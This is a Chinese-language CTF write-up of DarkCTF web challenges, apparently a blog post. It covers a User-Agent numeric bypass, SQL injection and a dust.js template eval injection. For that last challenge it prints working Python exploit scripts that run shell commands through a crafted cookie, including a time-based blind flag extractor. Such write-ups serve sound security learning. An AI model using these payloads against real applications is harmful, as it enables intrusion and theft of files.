DarkCTF-WEB

好久沒發(fā)新文章了。正好國慶就要到了,加上還有巔峰極客跟國賽要打。所以周五晚上練手了DarkCTF的題目,稍微花了幾小時ak掉當(dāng)時放出的web。其中大部分都比較簡單,其中一道拿了二血的nodejs題目有點意思打算稍微記錄下。

Source

給了源碼跟網(wǎng)頁,主體上就是

<?php
$web = $_SERVER['HTTP_USER_AGENT'];
if (is_numeric($web)){
      if (strlen($web) < 4){
          if ($web > 10000){
                 echo ('<div class="w3-panel w3-green"><h3>Correct</h3>
  <p>darkCTF{}</p></div>');
          } else {
                 echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Ohhhhh!!! Very Close  </p></div>');
          }
      } else {
             echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Nice!!! Near But Far</p></div>');
      }
} else {
    echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3>
  <p>Ahhhhh!!! Try Not Easy</p></div>');
}
?>

取UserAgent作為參數(shù),判斷了字符串長度與數(shù)值大小。簡單使用科學(xué)計數(shù)法9E9即可繞過

Apache Logs

給了個zip然后讓你從里面的log文件里找flag.簡單提取出其中String.fromCharCode部分放到瀏覽器console里轉(zhuǎn)一下即可。不過提交時要用darkCTF而不是DarkCTF

So_Simple

開始沒啥頭緒。后來發(fā)現(xiàn)提示了傳參id.于是很簡單就能發(fā)現(xiàn)是個sql注入。甚至基本上就是sqli-labs的第一關(guān)。union注入從users表中的password里找到某個flag.

Simple_SQL

直接提示傳參id.
普通布爾盲注。沒啥說的。

Dusty Notes

這題花了一些時間。不過做出來時拿了二血還是挺舒服的??吹紻efenit是一血不知道是不是又被posix師傅秒掉了。(posix nodejs 永遠(yuǎn)的神)

首先題目是黑盒測試的。這點對于一個nodejs題目來說增加了不少難度。如果是我出這題可能就直接給源碼了。但是做完后我感覺這種設(shè)計還是很貼近現(xiàn)實的。也給了我一定程度上黑盒測nodejs的手段。

首先題目大致實現(xiàn)了一個note功能??梢酝ㄟ^addNotes路由傳參message。通過deleteNote/{id}來刪除note.


不過簡單看了下cookie發(fā)現(xiàn)內(nèi)容可以由cookie控制

//note
j:[{"id":1,"body":"Hack this"},{"id":2,"body":"1"}]

到這一步為止我有幾種思路
1.nodejs反序列化。
2.原型鏈污染
3.???

首先想到nodejs反序列化是因為以前NahamconCTF解出的一道node題。也是黑盒。然后只有20多解。但是我當(dāng)時是抱著試一試的心態(tài)嘗試了下反序列化居然成功拿到shell.后來發(fā)現(xiàn),之所以會有這種想法就是因為:
數(shù)據(jù)為json串。數(shù)據(jù)由cookie控制
序列化輸出的結(jié)果就是json串,所以黑盒下嘗試node-serialize未嘗不可。當(dāng)然本題自然是失敗了。因此方法也不再多說。

第二種想法自然是因為nodejs中想要出現(xiàn)原型鏈污染實在是太容易了。不過有一說一一道以原型鏈污染為漏洞的ctf題使用公共靶機是非常不妥的,并且一般是給出源碼進行測試。加上此處并沒有什么顯眼的模板使用比如ejs。因此是原型鏈污染的可能性也不大。

此時基本上常規(guī)的思路已經(jīng)走不通了。但是我簡單fuzz了一下

addNotes?note[]=1
addNotes?note[toString]=1

發(fā)現(xiàn)它是沒有做只能傳字符串的限制的。一般來說,不對參數(shù)類型做限制時,我們可以傳入數(shù)組或?qū)ο?。因此在傳入對象時這里會觸發(fā)報錯。
然后重點就來了,觸發(fā)的報錯內(nèi)容如下

{"stack":"TypeError: Cannot convert object to primitive value\n    at Tap.head (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:121:25)\n    at Tap.go (/app/node_modules/dustjs-linkedin/lib/dust.js:812:19)\n    at Chunk.write (/app/node_modules/dustjs-linkedin/lib/dust.js:556:19)\n    at Chunk.reference (/app/node_modules/dustjs-linkedin/lib/dust.js:611:19)\n    at body_4 (evalmachine.<anonymous>:1:1634)\n    at Chunk.render (/app/node_modules/dustjs-linkedin/lib/dust.js:598:12)\n    at Object.tap (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:123:8)\n    at Object.if (/app/node_modules/dustjs-helpers/lib/dust-helpers.js:213:27)\n    at Chunk.helper (/app/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n    at body_1 (evalmachine.<anonymous>:1:972)\n    at Chunk.section (/app/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n    at body_0 (evalmachine.<anonymous>:1:847)\n    at /app/node_modules/dustjs-linkedin/lib/dust.js:122:11\n    at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Cannot convert object to primitive value"}

爆出了當(dāng)前路徑/app以及一個依賴dustjs-linkedin/lib/dust.js
(這里多嘴一句,這里一開始defenit拿到一血后長達(dá)4個多小時都沒有其他解,并且當(dāng)時觸發(fā)報錯時題目只會爆500而不是像上面這樣打印報錯traceback,后來改了題才有了這個報錯棧)

看到這個dust加上題目名中的dust,去搜索一波的話不難發(fā)現(xiàn)存在一個漏洞
并且有文章在實戰(zhàn)中遇到解決
https://artsploit.blogspot.com/2016/08/pprce2.html

簡單說就是,dust的模板會進入一個if語句執(zhí)行eval。但是如果我們直接傳入?yún)?shù)時它會把敏感字符做處理,而如果傳入數(shù)組時則不會處理敏感字符,即可rce。

再多嘴一句,到確定是dust的洞這一步我本來以為彈個shell就完事了。結(jié)果測了好久發(fā)現(xiàn)不知道是不通外網(wǎng)還是沒能執(zhí)行。差點以為找錯洞了。直到他改了題才發(fā)現(xiàn)dust依賴確認(rèn)沒找錯洞,專心測下去的。
當(dāng)然沒有報錯我們也有幾種辦法確認(rèn)此處存在dust的eval漏洞
比如

addNotes?message=aaa%5C

會導(dǎo)致

eval("'xxx\' == 'desktop'");

觸發(fā)報錯
再比如

addNotes?message[]=&message[]=y%27-console.log(7)

也會報錯。因為我們此時引號沒有被轉(zhuǎn)義直接送入eval.觸發(fā)報錯。
所以,如果有著良好的FUZZ手段,黑盒也可以fuzz出問題并確認(rèn)依賴錯誤。

最后,我們使用eval語句命令執(zhí)行。當(dāng)然因為不通外網(wǎng)沒有回顯所以非常狗。我最后選擇把結(jié)果寫靜態(tài)文件。并且這里靜態(tài)目錄是猜了一手public。所以可以直接寫/proc/self/cwd/public/css/style.css或者在爆出是app目錄后直接寫/app/public/css
exp

url="http://dusty.darkarmy.xyz/"
data="""j:[{"id":1,"body": ["1","1'-console.log(require('child_process').exec('cat /flag.txt > /app/public/css/style.css').toString());//"]}]"""
print(quote(data))
r=requests.get(url,cookies={'note':quote(data)})
print(r.text)
r=requests.get(url+'css/style.css')
print(r.text)
data="""j:[{"id":1,"body": ["1","1'-console.log(require('child_process').exec('rm /app/public/css/style.css').toString());//"]}]"""
print(quote(data))
r=requests.get(url,cookies={'note':quote(data)})

cookie可控所有內(nèi)容上面說過了。只不過測試時因為路由好用就沒控cookie.

做出來后問了下出題人果然不是預(yù)期。當(dāng)然這里我不太確定預(yù)期是啥,不過差的應(yīng)該不多。當(dāng)然聊完后出題人順手修了下寫文件的權(quán)限 :)
然后就是這種做法我自己也不是很喜歡。自己出過的nodejs題目在可以rce的情況下我都把工作目錄按root權(quán)限設(shè)置。就是為了防止寫文件。不過一般會配置了防止時間盲注time-based-rce,所以都會給出rce的回顯

所以這里猜一手本題預(yù)期的方法是time-based-rce:
exp

import time
import requests
from urllib.parse import quote,unquote
import string

url="http://dusty.darkarmy.xyz/"

def js_exp(str1):
    x=[]
    str1 = str1.strip(' ')
    for ch in str1:
        x.append(str(ord(ch)))
    t=','.join(x)
    result='eval(String.fromCharCode('+t+'))'
    return result
flag=""
for num in range(1,50):
    print(num)
    for i in string.printable:
        cmd = """require('child_process').execSync(`if [ $(cat /flag.txt | cut -c {}) = '{}' ];then sleep 3;fi`)""".format(num,i)
        payload = js_exp(cmd)
        data = """j:[{"id":1,"body": ["1","1'-""" + payload + """;//"]}]"""
        t = time.time()
        r = requests.get(url, cookies={'note': quote(data)})
        if time.time() - t > 3:
            flag += i
            print(flag)
            break

flag:
darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}

因為一些格式原因。我把payload用eval轉(zhuǎn)化了一下,這樣看起來更舒服一些.并且不用擔(dān)心奇奇怪怪的引號問題 :)

不過題目我覺得很有啟發(fā)性,主要是給了我一些面對nodejs黑盒處理的手段。那就是利用其容易報錯的特性進行FUZZ,得到目錄這樣的關(guān)鍵信息,或者是依賴的關(guān)鍵信息。同時一定程度上可以推測語句,甚至不需要知道依賴漏洞的細(xì)節(jié)就能直接上手。

最后道個歉,因為把flag寫到css里后自己就把css給刪了。導(dǎo)致后面題目一直沒有style.css......

summary

后面的題在打巔峰極客摸魚時看了看。做了個入門題跟一個User-Agent的報錯注入??傊y度整體很入門就沒繼續(xù)看了。
沒啥說的。巔峰極客體驗了一把帶飛的感覺。國賽就要靠自己動手豐衣足食了。加油吧。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容